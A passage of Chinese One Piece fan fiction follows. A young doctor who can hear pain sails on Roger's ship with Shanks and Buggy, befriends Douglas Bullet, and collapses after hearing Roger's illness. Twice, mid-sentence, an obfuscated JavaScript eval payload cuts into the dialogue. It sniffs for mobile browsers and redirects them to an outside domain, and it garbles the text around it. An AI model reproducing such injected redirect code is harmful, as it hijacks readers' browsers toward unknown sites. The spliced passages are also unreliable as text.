杰里兴奋地摇摇晃晃,刚要开口回答,就被雷利从罗杰的肩上揪了下来,随手扔给香克斯和巴基。 三个小孩滚作一团。 “好了,你该回船舱了,也不怕飞出去。” “哦哇?!——雷利先生!我要飞出去也是您丢的!” 雷利只是挂着他那副被船员们形容为''副船长笑''的表情看了他一眼,就回头问还在哈哈嘲笑杰里的罗杰,“劈开?还是冲出去?” 罗杰摸摸下巴,“哦!久违地来挑战一下吧!怎么样,贾巴?” 戴墨镜的男人也笑了,看了看翻腾的海流,对罗杰比了个拇指。 “当然了,船长!” “哈哈哈哈哈!伙计们!听见了吗?准备冲出去咯!” “噢噢噢噢——!” 啊啊,真是热血啊——杰里关上了舱房的门。 【海圆历1496年X月X日:】 【今日章鱼海浪。】 【大海真的很神奇,我刚看到海水像章鱼脚一样甩动的时候还以为它活过来了。罗杰先生听到我这么说的时候哈哈大笑,说''大海本来就是活的''。我不太懂。 他把我举起来坐在他肩上看海浪,这种感觉很新奇。我没敢碰他,但是摸了摸他的胡子,他没生气。 贾巴先生真的是个很厉害的航海士,引导杰克逊号在海浪间穿梭,跟大海戏耍。桑贝尔先生也很帅气,身上的鳞片闪闪发光... 我也好想长鳞片! 虽然最近也在锻炼,最后雷利先生也还是让我回船舱。不过,香克斯他们很兴奋,所以我让他们回甲板上帮忙。 只是,透过舷窗,看见外面摇曳着的海浪和里面宛如在空中穿梭的游鱼,我也很想回甲板上,去罗杰先生的肩上。 也会有鱿鱼海浪吗?】 【今天吃了鱼煲,斯宾塞先生说桑贝尔先生特意''打了一条大的下来给你这个小猫''。发现巴基不喜欢番茄。他好像很在意自己那个可爱的鼻子。】 “芋头先生,如果食材听到难听的话,美味程度会有50%的可能性大幅下降哦?” “得了吧,小医生,我天天在厨房骂人,你不也吃得挺开心的。”芋头把手上的血随手在手巾上一蹭,“而且,要不是你做个番茄酱做的跟跟下毒一样,我哪会突然切到手。” “不,我喜欢听您们说脏话,真的是对我的词汇量很有启发。我指的是您刚刚对我的药膳外观上的恶评。” 芋头无语:“哪有番茄酱是蓝色的啊。” 杰里:“嗯?漂亮吧?像不像巴基的头发?” 干净的蓝,说是海洋太浅,说是天空太深。已经过了一遍筛了,剩下的酱汁就像绸缎一样丝滑。 “你这么一说倒是...那也不该是蓝色的吧?番茄酱应该朝香克斯的方向努力才对。” “?香克斯又不讨厌番茄的长相” 芋头又重新拿起菜刀:“真是不懂你们小孩儿。” “手切到了不去医务室吗?” “这点小口子连伤都算不上吧。” 番茄独有的酸甜味,带着一点点药味,和芋头铛铛铛的切菜声音一起在空气里交响。 厨房是一个储藏幸福感的地方。 冰箱里塞着的是对未来可以的期待;橱柜里装着的是预示变化的佐料;而架子上碗碟的数量就是身边可爱之人的数量。孤独总是在这里随着锅里咕嘟咕嘟冒着的泡泡一点点远去。 芋头没说错,他确实每天都很期待来吃饭。厨师真是个令人喜爱的职业,他们把吃饭从一件只是为了活下来而做得事,变成了甚至可以为之而活的动力。 ''可惜我不是个厨师,只是医生'' 杰里突然愣住了。 ''我是医生'' 他当然知道磁鼓岛的人,包括希鲁鲁克称呼他什么——''不主动行医的小医生''。 他一直没觉得什么,事实也确实如此,他主动与否没什么所谓。奥罗杰克逊号上的大家倒是丢掉了那些前缀,好像一并丢掉了他的过去。 他们叫他''小医生'',他主动与否,没什么所谓。 ''在我死之前,我会等你'' 没什么所谓...吗? 咕嘟咕嘟咕嘟咕嘟,有什么开始在他的血液里一并冒泡。喀嚓喀嚓铛铛铛,有什么在他的头颅里一起回响。 “嗯...那个,芋头先生...” 芋头看了他一眼,差点没又一次切到手。杰里虽然总是在微笑,但是他现在的笑有点...嗯有点像''副船长笑''——皮笑肉不笑的完美感,加朗曾经是这么说的? “怎么...” “嗯...我想、我是说,如果您愿意的话,能不能让我、啊真是冒犯,您看,我的能力、不,您们已经知道我的能力了....” 芋头悄悄松了口气,原来是这事儿啊,他还以为他的话真的打击到这个小鬼了。他又在手巾上擦了把手,摊开手心在对方面前,心里跟鱼糕一样有点软软的。 “都说了是伤都算不上的小口子了,你的酱煮完就愈合了,喏,你试试吧。” 哦哦怎么反倒吓了一跳的样子?斯宾塞看到又该说什么炸毛的小猫了。 杰里确实吓了一跳,被什么吓到了,他也说不出来。也许是芋头先生,也许是这艘船,也许是自己。他小声道了声谢,摸摸对方宽厚的手掌,又如触电般收了回来。 “是伤,芋头先生。它说它是。” 口袋里的小瓶突然好像有千斤重,如火烧。最近一直在跟着香克斯和巴基训练,避免不了受点磕碰或者小伤。他便开始随身携带一小瓶自己自制的药膏。 ''我是医生'' 他最后只是清了清嗓,开口道:“真是感谢,芋头先生。我还是建议您去医务室贴个创口贴哦,双手很重要不是吗?毕竟,您是个厨师。” 【海圆历1496年X月X日:】 【今日海战。】 【碰到了海军。】 【我在船舱。】 【、】 【、、 、】 【战斗结束的很快,我出来的时候,甲板已经被打扫的差不多了。不过我看到了一个海军的尸体被丢下了海,瞪着眼睛,他也在看我。 姐姐,你说过站在光明的那一方,方能去往天堂,杀戮害命只会下地狱。 罗杰先生他们当了海贼,早就知道了这代表着海军追缴,而海军应该也早就准备好了可能会被海贼杀掉。可是他们还是选择了彼此厮杀。 我在船舱里听到有人大喊''为了正义!'' 。 罗杰先生胡子上还沾着血,笑嘻嘻地说,''活着就是这样''。也许鲜血就是他们的盛大。】 “害怕了?”雷利推开对着小孩一脸血糊糊地傻笑的自家船长,伸手想摸摸杰里的头发,却发现自己也满手鲜血。 海的咸味和血的腥味混在一起,黏糊糊地扑在脸上。杰里皱皱鼻子,掏出了手帕递给雷利。 “我昨天刚洗头,先生。” 对方从善如流地接过手帕擦手,“你不喜欢洗澡的臭毛病怎么还没改过来,船上的浴池又不冷。我以为医生应该更注意个人卫生?” 杰里僵了一下,很快又耸耸肩,“积习难改?” 过滤着耳边雷利絮絮叨叨的念叨,他盯着甲板上的一滩鲜血,又视线上移,看了看杰克逊号的红帆。 “....所以啊、...你又没在听了吧。” 杰里点头,接过了自己的手帕。 “当然。雷利先生,我可以去念个悼词吗?” “嗯?” 【他们都会下地狱吗?那声呼喊和—''为了光明'',声调听起来很像。 可是姐姐,不论是罗杰先生还是那个不瞑目的海军,我想他们至少都在为自己的行为负责了。 我对着海念了悼词,被经过的巴//雷特先生嗤笑。他不怎么从舱房里出来,我们交集很少。 你还记得曾经我躲在壁橱里时,你给我唱的歌吗?不是礼赞诗的那首,我发现我不记得它的旋律了,你可以到我的梦里来再提醒我一次吗?】 【今天吃了肉排,难嚼。把自制的护牙果干当零食的时候,被芋头先生看到后拿走。 没关系,看来明天可以吃到新鲜吐司。】 【海圆历1496年X月X日:】 【今日靠岸伯纳岛。】 【虽然我已经跟着这艘船去了好几个地方,完全的无人岛却不多,雷利先生让我们三个不要跑得太远。 话虽如此,我们还是老样子,一头往岛屿深处钻。 岛上有很多没见过的动植物,我摘了一些回来研究。然后我们一起抓了一只伯纳——那是种长得像大豚鼠,但是有厚厚的漂亮羽毛的生物。 我很喜欢那些羽毛,就在它的巢穴里掏了一些出来。巴基问我为什么不直接从它身上拔,很多人都抓这种生物然后拔毛做扇子或者饰品。 我说如果我抓着它拔毛,它身体里的痛就会直接被我听到,那种感觉很不好。而且伯纳巢里有很多褪掉的毛,应该是用来搭窝的,用拔的完全没必要。 他们很惊讶,应该是以前没注意过巢穴的事。所以那只伯纳自由了,而我和香克斯挖开了它的巢。 最后当然是被一群愤怒的伯纳追着跑,但是回船上时我给每一位船员都挑了一根漂亮的羽毛。雷利先生很狡猾,训练的时候打人很痛,所以我送了他两根以示贿赂。 巴//雷特先生和罗杰先生不在,斯宾塞先生说他们去岛的另一侧海岸打架了。 等他们回来,□□先生带着一身的伤回了自己的舱房。库洛卡斯先生倒是拉着罗杰先生去了医务室,很久都没有出来。 他们都没有叫我去帮忙。】 “巴//雷特?那家伙就是这样。你们确实没怎么说过话吧?” 杰里和实习生们一起坐在在搭好的篝火架旁边,往手里的签子上串肉。 “他为什么总是在和罗杰先生打架?” 蘑菇,青椒,肉。 “可能因为他就是为了挑战船长才上船的吧?” 肉,肉,肉。 “那家伙,是''魔鬼的后裔''哦!你这样的家伙去他前面乱晃小心被杀掉!” 肉,辣椒,肉。 “展开说说?啊,香克斯,请把那边的篮子递过来。” 巴基拿起一根新的木签,挥舞了两下,“据说他从小就在能拿起武器的那一刻参与了战争,然后大开杀戒!” 香克斯将装着海鲜的竹篮递给杰里,也补充道:“雷利前辈说他来自一个纷争不断的岛,在战争里成为了岛上的最强''英雄'',确实很厉害的。不过船长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495353|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更厉害,打败了他,他就上船了。” “诶——''能拿起武器就上战场''吗?” 杰里撬开一个扇贝。 “亨姆岛的孩子也都是''能走路就要去教堂''呢。” 【今天大家在海边开了宴会,吃了烧烤。 我学会了《宾克斯的美酒》,姐姐,这是除了礼赞诗和圣歌之外我学会的第一首歌,它很好听。你可以到我的梦里来吗?我希望我能给你唱。】 【海圆历1496年X月X日:】 【今日航海无事。】 【我现在习惯了伟大航路多变的天气,即使突然下雪下雨下糖果下猴子,已经都可以归划到''无事''一类了。 说起气候变化,有一件很可爱的事。 这些日子我和香克斯,巴基已经很亲密了,毕竟天天住在一起。 他们很喜欢我的毛毯,所以海上突然变冷的时候,香克斯会想钻进来。这让我有点骄傲,它真的是最暖的毯子。 这种时候,我会耍他们,让他们叫我''哥哥''来换。巴基当然还是老样子的骂我一些话。甚至香克斯也很骄傲的样子拒绝。】 【但是姐姐,你记得吗,这是我们的把戏。】 【所以最后我还是像你曾经那样,把他们裹在毯子里,一左一右地拥抱住。他们真爱害羞,姐姐,想象两个红红的小土豆。】 【不过再怎么可爱,我也没法否认他们很强。 虽然他们都没我高,但是不管是心灵上还是□□上,都比我强壮太多。 如果是在亨姆岛,我相信他们一定都会像你一样早早地被赐名【约瑟夫】的。 、 算了,只是【香克斯】和【巴基】也很好。 、 、 不过,我想我有点明白为什么巴基总是要做出推开香克斯的样子,即使他们如兄弟一般,也要如此努力地把自己区分开了。 现在,我跟着香克斯和巴基一起训练已经快一年了。不过,我变强的速度很慢很慢,我也自知没什么天赋。】 【有一次我和巴基已经累倒在地上,香克斯却能和罗杰先生继续学剑。我开玩笑说香克斯十五岁就能当上大剑豪。巴基却说,香克斯那家伙就是这样,天生就是天才,我根本没必要再像他那样。 也许是很累了,也许是我们很亲近了,总之我们躺在甲板上,他没头没尾地说了很多。】 【我突然想到亨姆岛。】 【''优秀者成为【玛丽】或者【约瑟夫】'' 剩下的人名字就不再重要,孤儿院的婴儿会按字母表排序来随便取名。 海上没有【玛丽】也没有【约瑟夫】。 【罗杰】是恶名昭彰的海贼船长,【雷利】是冥王。还是实习生的香克斯和巴基在成为【罗杰】之前,他们的名字是否也不再重要?】 【巴基是否像岛上的邻人们那样,认可了【香克斯】这个名字的地位,却接受了自己不再重要? 可是他的心灵和□□都那么强大,他不知道我羡慕他。【罗杰】,【雷利】,【香克斯】,【巴基】,怎么样都好,在我看来都是很好的名字。 所以我像曾经他拉住我一样拉住他的手,告诉他,这不是他的错。他很强,很棒,他的头发很美,鼻子很可爱,我有多么多么想像他一样。我想在下一次,能和他,和香克斯一起站在甲板上。 这次他没害羞,也没生气,但好像流了一点眼泪。 我当时真的很累,姐姐,浑身都在发酸。所以我假装没有看到。】 【今天吃了炖肉,巴基和我分享了他的那份橘子。】 等香克斯擦着头上的汗水,走到自己的小伙伴们身边的时候,就看到两个人手拉着手躺在甲板上,他下意识撅了撅嘴。 “哇,你们俩好过分,都不等我。” 他也在两个人的身边躺下,抓住了杰里的另一只手。阳光暖暖地晒在三人身上,带走汗水、海水,与泪水,留下一些小小的颗粒,一点淡淡的咸。 “你们刚刚在聊什么?” 巴基没回答。杰里整个人都瘫在阳光里,盯着白云发呆。 “在聊名字。” “?什么名字” “罗杰先生是【金】(Gol·D)雷利先生是【银】(Silvers)贾巴先生是【铜】(Copper),你是什么呢,香克斯?” 香克斯想了想,红红的发丝被汗水黏在脸上。 “不知道诶,小红吗?” 杰里偏头蹭了蹭他的脑袋,微微一笑。 “哈哈,【雷德】(red)吗?也很帅呢。” 【海圆历1496年X月X日:】 【今日航海无事】 快要新年了。雷利先生说我们到时候要去找个冬岛开宴会庆祝。 船上到处都是欢乐的气氛,只有我在因为一些无用的事烦恼。 哦不,不止是我在烦躁,巴//雷特先生也是。斯宾塞先生说,自从罗杰先生生病,他就越来越沉默。但是我看见了他眼睛里不健康的火。 他挑战罗杰先生的频次越来越多,烧的越来越旺。如果说船上的大家是由紧密的绳结相互连接在一起,他就只有一根无形的引线。他在一头,罗杰先生在另一头。 巴基警告过我,可我还是想知道,他为什么燃烧? 因为频繁的打架,库洛卡斯最近总是让罗杰先生去医务室,然后我能看到他拿着一堆体检单生闷气。每次看到库洛卡斯先生皱着眉头写医案,一边骂一边给罗杰先生包扎,我就想咬点什么。 也许我也成了一把火。】 【、】 【今天吃了龙虾意面,因为香克斯喜欢,我就把我的龙虾挑出来给他了。 不过,还是没能让他叫我哥哥。】 嘎吱—— 室内的微光照不亮走廊,只能虚虚地拢在来者身上。穿着军装的男人低头,对上一张笑眯眯的脸。 “晚上好,巴//雷特先生。” 9. 子弹和藤壶 道格拉斯·巴//雷特是一名强者。 八岁走上战场,十三岁成为战争英雄,十四岁毁灭自己的国家,在海上流浪的时日也未尝败绩,直到他遇到罗杰。 他并非真正的船员,以挑战者的身份上船。年龄是大多船员的一半,实力却与副船长旗鼓相当。 人们叫他“英雄”、“叛徒”、“魔鬼的后裔”,他坦然佩戴这些称号,就像佩戴那枚从背叛的同伴手里夺回的勋章。 弱小的人无法在这片海上生存,只能像船底的藤壶一样依赖在强者身上,就像船上的实习生们一样。 巴//雷特拒绝依附。 但他也不在意藤壶的死活,不怜悯,也不去踩上一脚,除非他们像真的藤壶妨碍了船只一样妨碍他的路。 而他现在就在打量面前这只主动找上他的藤壶。 “我很喜欢您毫不掩饰自己的表情,并对我表示轻蔑这一点,先生。不邀请我进去吗?”杰里向上提了提手里的医疗箱,“库洛卡斯先生派我来给您看看伤口。” 当然,库洛卡斯没有安排过,杰里找借口来聊天的概率是100%。 巴//雷特不知道这种事,也不在乎。刚想关上门,面前的小矮子就贴着门缝溜进了他的舱房,嘴里说什么“那就打扰了”。 如果不是罗杰海贼团绝对不容忍船上的伙伴相互伤害,他高低把这个打扰他休息的小鬼丢海里溜一圈。 “哇,单间啊~船上有这个待遇的可不多呢。” 杰里吹了个口哨,无比自然地往椅子上一坐,开始叮叮当当地翻他的医疗箱。见巴//雷特一脸嫌弃地站在门边没动弹,还拍了拍身旁的床铺,示意对方过来坐。 “到底什么事?我不需要你来念叨那些无趣的烂词。” “悼词,先生。我也希望我不用念给您。” 巴//雷特耸肩,走过来坐在了藤壶三号的面前,椅子拖在地上发出厚厚的咯吱声。他点的灯不多,昏暗的灯光将二人的影子远远地投在墙上。 杰里瞅了瞅几乎要将他淹没的影子,感叹道:“您可真高,明明我们没差多大” 他将箱子放到一边,双脚盘起在椅子上。这样就踩不到那团黑影了。 “被您逮住了,惭愧,不过我确实想聊聊。当然,要是您想让我给您看伤也是可以的,毕竟罗杰先生很强。” 提到罗杰,巴//雷特脸上浮起恼火的神色。刚要开口,就注意到了杰里一脸认真地盯着他。 “干嘛。” 杰里:“嗯...您刚刚的眼神,有一种熟悉感呢。” 他回身将全部的灯都点亮,墙上的大块影子被驱散了不少,只剩一团黏在□□脚底。 “这里真暗,先生。好了,这样才好聊天嘛。” 巴//雷特眯起眼睛瞅了他一眼。 “你不应该去找另外的两个小鬼,或者别的什么人?我和你没什么好聊的。” “请别这样说。您也听说了我的能力吧?您既然不需要疗伤方面的建议,要不这样吧。”他打个响指,“满足我一些小小的好奇,我就用它听听您目前身体强度如何?” 巴//雷特感兴趣地坐直了身体。 “你听过罗杰的?” 杰里摇头:“不,很可惜。”在巴//雷特露出失望的表情前,他补充道:“但是听过雷利先生的。” 确实可惜。巴//雷特咂了咂嘴,他在之前的战斗中已经估计到自己和雷利战力不相上下了。不过,他也一直在努力训练,能知道现在如何也算聊胜于无吧。 “你问。” 杰里抱住自己的脚踝,准备好的问题在嘴里转了一圈,变成了:“您为什么叫【巴//雷特】?” 巴//雷特有些意外地又打量了他一眼。本以为会是些为什么挑战罗杰,为什么要变强这类的问题,毕竟之前另外两只藤壶也问过类似的。 “哪有那么多为什么?我是先锋士兵,我们都叫巴//雷特(bullet子弹)。” “我们?” “先锋队。”他无意识地摸了摸胸前的奖章。 “先锋队都做什么?” “哈?字面意思。打头阵,踩地雷,拿炸弹开路什么的。” “可巴基跟我说您很小就上战场了?” “所以?先锋都这样。”巴//雷特不耐烦地抱住双臂,“问够了没有?” 杰里前后左右晃了几下,在明亮地房间里仔细看了看对方的勋章。短暂的沉默后,他向面前的人伸出手。 “别生气,【子弹】先生,我说到做到。” 巴//雷特卷了卷袖子,展开了自己的小臂递过去。 “别弄的那么恶心,还牵手。” 杰里从善如流,在对方一脸吃苍蝇的表情下将手搭了上去。 预想中受到能力作用的感觉没有出现,好像只是简单的触摸而已,微凉的手心贴在温热的小臂上。这种无知无觉的窥探让巴//雷特下意识地防御,手臂覆盖起一层武装色。杰里没有收手,只是有些惊讶地歪了歪头。 “哇?哦!原来如此。” 他敲了敲手下变黑的皮肤,硬邦邦的,用力的话还能发出咚咚的闷响。 “这是您的武装色吧先生,雷利先生有提到过霸气的使用。” 巴//雷特伸展了几下胳膊,哼了一声算是回答。 “如何?我和雷利比。” 杰里有些苦恼地蹙蹙眉,又开始抱着脚踝左右摇晃。 “嗯...不好说,您用霸气的前后【声音】是不一样的。我只听过雷利先生最基本的身体状况。” 他嘻嘻一笑,“但是,您的伤虽然正在恢复,还是有点吵哦,可以去医务室,库洛卡斯先生还没休息。” 巴//雷特有点失望,嘴角也撇了下来。 “不需要。” “哦?战场上带下来的坏毛病?” “你可以滚了。”他摁住眼前的不倒翁,想把他提起来丢出去,对方却抓住了他的胳膊。 “别啊!再聊一会儿吧?您教教我武装色霸气吧!即使我没听过罗杰先生的,也能听出来您很强。” 巴//雷特脚步一顿,把杰里提到眼前看了看。 “别一副没耐心的表情嘛。” “我还以为藤壶只会依附?” 两人同时开口。 杰里环顾四周。他们已经走到门口了,远处的灯光又把影子模糊地打在墙上,一大一小,要被吞噬的是他。 “我不想依附,先生,我宁愿做个老鼠。”他又看向对方的眼睛,“您是【子弹】,而我是【枪兵】。” 巴//雷特盯着这小子的笑脸,虹膜里浅浅的金色做不了太阳,但是他看到了一抹熟悉的火。 杰里:“教教我吧?然后我们来比比看,谁先离开那座岛?” 巴//雷特也笑了,然后把他丢出门外。 神叨叨的小崽子。 他走回桌边,把点亮的灯熄灭几盏。和罗杰战斗留下的伤口早就不流血了,只有一些重击的创伤在皮肤上浅浅泛起青紫。他随手搓了一把,正准备继续休息恢复时碰到了什么,发出哐当一声轻响。 是那个小鬼的的医疗箱,盖子上放着一瓶奇怪的软膏。 打开门,对方早就跑没影了,不知有意还是无意地忘记了自己带来的东西。 他拿起那个小瓶子,发现下面压了一张纸条,字很丑地写着什么药膏使用法一二三。 巴//雷特连瓶带箱地把东西放到一边,哼了一声。 “故作聪明的藤壶。” “谁?我吗!” “说的就是你这个臭小子!”库洛卡斯拧着杰里的耳朵,冲着他怒吼。 “哈哈哈哈哈哈哈哈!”罗杰坐在一张闲置的病床上笑得七扭八歪。他这次和巴//雷特打的凶了点,库洛卡斯面色不好地让他留下过夜观察。真把船医惹急了,拳头可是和雷利的一样痛,他深有体会。 库洛卡斯当然知道这小子偷了一箱基础医疗用品鬼鬼祟祟地往船舱里跑了。他可是船医,医务室他是老大,看在巴//雷特受伤的份上,他也就睁一只眼闭一只眼了,可是这小耗子居然敢光明正大两手空空的回来,还让他在记录里记上,一箱基础物资以后划到巴//雷特房间去了。 “您是老大!医务室里当然您说了算。但是我都偷出这个门了,您就管不着了——啊痛痛痛您轻点!” 库洛卡斯手上又用了几分力,他就知道这小子脑袋里有几根脱线!还有罗杰!就知道哈哈,都跟他说过尽量少打架了,过度透支霸气对他现在身体没好处。一个两个的都不知道省点心,雷利真是辛苦。 “哈哈哈哈哈,干得漂亮啊茵弗!” 杰里整个人僵了一下,缓慢地扭头转向罗杰。好吧,他的确主动去送药箱了,虽然后续没管...但是,太敏感了吧这人?不愧是罗杰先生吗...还是说随便叫的?他确实说过叫他什么都行... “噢...噢。” 库洛卡斯看了看他俩,叹了口气,松开了手里的耳朵,“既然''我管不着了'',你就自己去记,以后那箱的物资补充也自己去管。” 杰里朝他鞠了半躬,“当然,我会负责。谢谢您。”库洛卡斯摆摆手,示意他把炉子里的药端给罗杰,又捡起身边的医案开始看。 罗杰笑嘻嘻地看杰里蹭到他身边,嗅嗅手里的药,吐吐舌头,又对着他挤眉弄眼。 “罗杰先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495354|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生被留观了?” “噢!反正要在这儿睡一觉吧!你去找巴//雷特干嘛了?” “他答应教我武装色霸气了。” 罗杰接过碗,看杰里双手合十,一副为他祈祷的样子,挺挺胸膛。 “看好了,小黑。真正的大海贼就算吃药也不会皱一下眉头。” ... 库洛卡斯一定是在报复他,船医真可怕。 “您整张脸都皱起来了。” “眉头没皱就行!” 大海贼用袖子随便擦擦嘴,把站在床边的小不点抓到床上来面对面坐着。没穿鞋啊又,也不知道是什么时候脱的,雷利看到又该念叨了。他弯下腰用手捂了捂对方凉凉的小脚。 “巴//雷特答应教你?厉害呀!那小子霸气很强的。” 杰里被他掌心的温度烫得缩缩脚,手不知道往哪放,最后摸上了罗杰的胡子。 “噢..噢噢..是,他把我丢出来之前没拒绝,我就当他默认了。” 罗杰的胡子长长的,末端翘翘的,摸起来有点粗糙,但是捏一捏就有点软软的。大概是之前做了检查或者是要休息了,他身上套了一件宽大的衬衫,总是挂在脖子上的项链也没戴,身上一点冰冷的气息都没有,看不出来是个病人,也看不出来是个强大的海贼船长。 等罗杰直起身,杰里犹豫了一下,还是慢吞吞地从兜里摸出来几枚弹壳摊在了两人中间。 “哦哦?这是什么?”罗杰拿起一枚最眼熟的到眼前。 杰里指了指最平常的一枚:“这个是曾经射向希鲁鲁克,但是空了的一枪,是【幸存者】” 他又指了指有裂口的一枚:“这个是意外炸开伤害了开枪者,使其不得不去医院急救的【失败者】。我参与了那次手术。” 最后,他接过罗杰手里的那枚,轻轻刮了一下上面的花纹:“这是上次皮塔姆先生在在掩护大家时留下的。当然,他开了很多枪,这只是其中的一个,是【保护者】。” 罗杰摸摸下巴:“你兜里还真是什么都有啊” “哈哈,是呢。因为要去见巴//雷特先生。”杰里把三枚弹壳都收回口袋里。 “归根结底,它们是子弹,是【武器】而且到处都是,罗杰先生。皮塔姆先生只有几把枪,但是有无数的子弹可以消耗。开枪之后,只需要换下一发就好。” 罗杰又凑了过来,杰里嘴里碎碎念着,无意识地又摸上了他的胡子。 “没什么人回收弹壳,但这些是我的宝藏,我本来想送一枚给巴//雷特先生当贿赂。您也知道,他不怎么喜欢我。” “没送?” “没送。” “为什么?” “不知道,先生。最后我还是觉得医疗箱更好。” 罗杰又笑了起来,盖过了库洛卡斯嘀咕臭小子的声音。高大的海贼一把拢住面前的小孩儿,躺倒在柔软的枕头里。 “哈哈哈哈,不错嘛!我也觉得医疗箱更好!” 杰里吓了一跳,紧紧攥住罗杰的衬衫。枕着的胸膛正随着笑声微微震动,闷闷地将对方的愉悦一并传递到耳边。他没有使用能力,却确实听到了罗杰的每一口呼吸,叮叮当当地窜到肋骨之间,到肺里,在胸腔里捂的暖暖地,化为一声声大笑,随着心跳咚咚咚的跳动一并从口中跃出。 笑声里没有影子,没有倒计时的沙漏。 暂时地,从巴//雷特那里带出来的火焰悄声熄灭了。 香克斯推开医务室的门,就看到失踪的小伙伴睡在罗杰船长的怀里,两个人一大一小地打着呼噜,倒是此起彼伏的挺有节奏感。 屋子里暖暖的,一股淡淡的药味盖过了平日的消毒水味。只有库洛卡斯那里还留着一盏灯,听到声音抬头看了他一眼,撇撇嘴没说什么。 巴基没在厨房找到人,回房间的时候倒是碰到香克斯正往外走,还抱着杰里那条超暖和的毛毯。 “喂!干嘛去?你找到杰里了吗?” 香克斯视线被毯子挡住了不少,只能跌跌撞撞地往医务室走。 “唔,他在医务室和船长睡着了。来的正好巴基,帮我带几个枕头。” “干嘛?” “一起睡医务室啊。快到冬岛了,杰里怕冷,肯定要毯子的。” 巴基嘀嘀咕咕地进房间去了。 等库洛卡斯停笔,准备去看看罗杰的情况时,映入眼帘的是乱七八糟睡成一团的一大三小。 这种时候他真的不知道该感叹杰克逊号上病床比较大是好事还是坏事。 检查了一下没人把罗杰的绷带崩开,再把半个身子都掉出去的香克斯塞回去,给巴基掖掖被子。他回到自己的床边,吹熄了最后一盏灯。 10. 漫长的一夜 杰里是被吵醒的。 并没有人在深夜大声唱歌,四周的呼噜声也不讨厌,只是他听到了【痛苦】的声音。 他猛然睁开眼,意识到自己昨天不知不觉在罗杰的身上睡着了。而在睡梦中不可避免的移动,使他有一只手放在了对方裸露的胸膛上。 先是一丝丝的疲惫感,黏糊糊地顺着他的血管爬;然后是最新在打斗中受的伤,抱怨着,吵闹着,随着呼吸一张一合地吞噬着什么清凉的东西——大概是库洛卡斯先生的药;然后,他又听到了,曾经在磁鼓岛上听过的痛苦,宛如触碰到黑洞边缘一样,或者什么深渊。 也许是借着睡迷糊而生的勇气,他鬼使神差地强迫自己继续听下去。 好大声, 太吵了。 那些声音在他的脑袋里横冲直撞,又像嘶吼,又像呻吟。它们在说什么? 在一阵嗡鸣里,他感到自己的指尖开始被那黑洞吞噬,咯吱咯吱地发出了骨骼被嚼碎的声音。巨大的鼓被有节奏地敲击着,每一下都使他心脏跟着震颤。 你们说什么? “...黑....小黑.....松...” 痛苦,疲惫,没有亮光了,这房间太黑了。马蹄声咯咯哒哒地爬上他的脊背,那是一匹白马吗? 黑色的血液从罗杰先生的身体里流出来,沿着他的手爬到了脸上。对方的生命在流失,他感觉自己也跟着流失。 那深渊底下翻涌着的是岩浆吗?怎么会有蒸腾的热气刺痛他的眼睛?烫伤他的皮肤——不对,他没有皮肤了。尖啸的声音,是鸣笛?猛兽?深海里的怪物? 是我在尖叫吗? 太吵了!! “茵弗玛利!!” 一阵猛烈的白光席卷了他的意识,驱散了所有的声响,只留下阵阵耳鸣。他整个人被震得发麻,那些黑色的血也不再流淌,想揉揉眼,却摸到了黏腻的温热。 在昏过去前,他想,哦,是我在流血。 香克斯是被床板的晃动摇醒的。 他揉着眼爬起来,医务室里还很黑,时间要么很晚,要么很早。库洛卡斯下床点亮了一盏灯。借着光亮,香克斯在看向床头的时候瞬间清醒。 罗杰船长曲着腿坐着,一脸担忧地抓着杰里放在他身上的一只手,好像是想拉开,却被对方按住了。而杰里微微前后摇晃,眉头紧紧地皱着,肩膀缩在一起,嘴里小声喃喃着什么。 “...船长?...杰里?怎么了?” 库洛卡斯走了过来,和罗杰对视了一眼,无声交流着什么,朝他摇了摇头。 香克斯很担心,他从没见过杰里这样子,船长也很少露出这种神情,他有些着急,巴基不知道什么时候也醒了,抓住他的胳膊,阻止他上前。 “香克斯...交给船长吧...” 香克斯吞吞口水,紧紧地抓住巴基的手。而这次即使没有杰里在中间,巴基也难得没有甩开他。 罗杰开始慢慢地跟杰里说话,库洛卡斯皱着眉,眼镜片在昏暗的房间里闪着一层白光,使香克斯看不清对方脸上的神色,但是从下撇的嘴角看,大概是很不好的。 杰里没有冷静下来,只是更用力地抓着罗杰。然后,他开始尖叫,鼻子里,甚至是眼睛里都流出鲜血,在黑暗的屋子里像黑漆漆的油。香克斯觉得他未来有一段时间都会在噩梦里听到这个声音。 罗杰当机立断地扯开杰里的手,再握着他的手腕防止他掉下床,更加大声地呼唤。库洛卡斯冲到桌边拾起他的器具,又拉了一张空的病床过来。 充斥着房间的尖叫声那么尖,那么可怖,一瞬间香克斯不知道那究竟是不是杰里在在尖叫,那不像是人的喉咙可以发出的声音。他发现自己也在颤抖,而抓着巴基的那只手都快被对方捏骨折了。 罗杰:“库洛卡斯!!” 库洛卡斯:“不行!罗杰!我不确定镇定剂是否对他的能力有效!无论他听到了什么,如果药物反而让他没力气处理怎么办!” 香克斯突然抓住了罗杰的衣角,想要从无所不能的船长那里汲取一些力量:“霸气!船长!你的霸王色会有用吗!” 罗杰眼睛一亮,深吸了一口气—— 雷利是被一阵熟悉的霸气震醒的。 出事了。 他立马起身,随手套上衣服,抓起刀向源头冲去。 